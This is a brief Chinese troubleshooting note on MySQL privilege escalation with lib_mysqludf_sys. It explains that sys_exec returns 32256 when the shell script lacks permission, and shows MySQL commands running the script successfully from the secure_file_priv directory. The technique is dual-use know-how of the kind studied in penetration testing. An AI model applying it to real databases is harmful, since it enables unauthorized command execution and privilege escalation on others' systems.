使用lib_mysqludf_sys提权,执行select sys_exec返回数字32256问题的主要原因是所执行的shell脚本无权限,也就是mysql无法执行,将shell脚本放在mysql secure file目录就可以解决。
mysql> show variables like ‘%secure%’;
+————————–+———————–+
| Variable_name | Value |
+————————–+———————–+
| require_secure_transport | OFF |
| secure_file_priv | /var/lib/mysql-files/ |
+————————–+———————–+
将shell脚本拷贝到/var/lib/mysql-files/目录,执行成功:
mysql> select sys_exec(‘/var/lib/mysql-files/test.sh’);
+—————————————————–+
| sys_exec(‘/var/lib/mysql-files/test.sh’) |
+—————————————————–+
| 0 |
+—————————————————–+
返回数据0表示成功。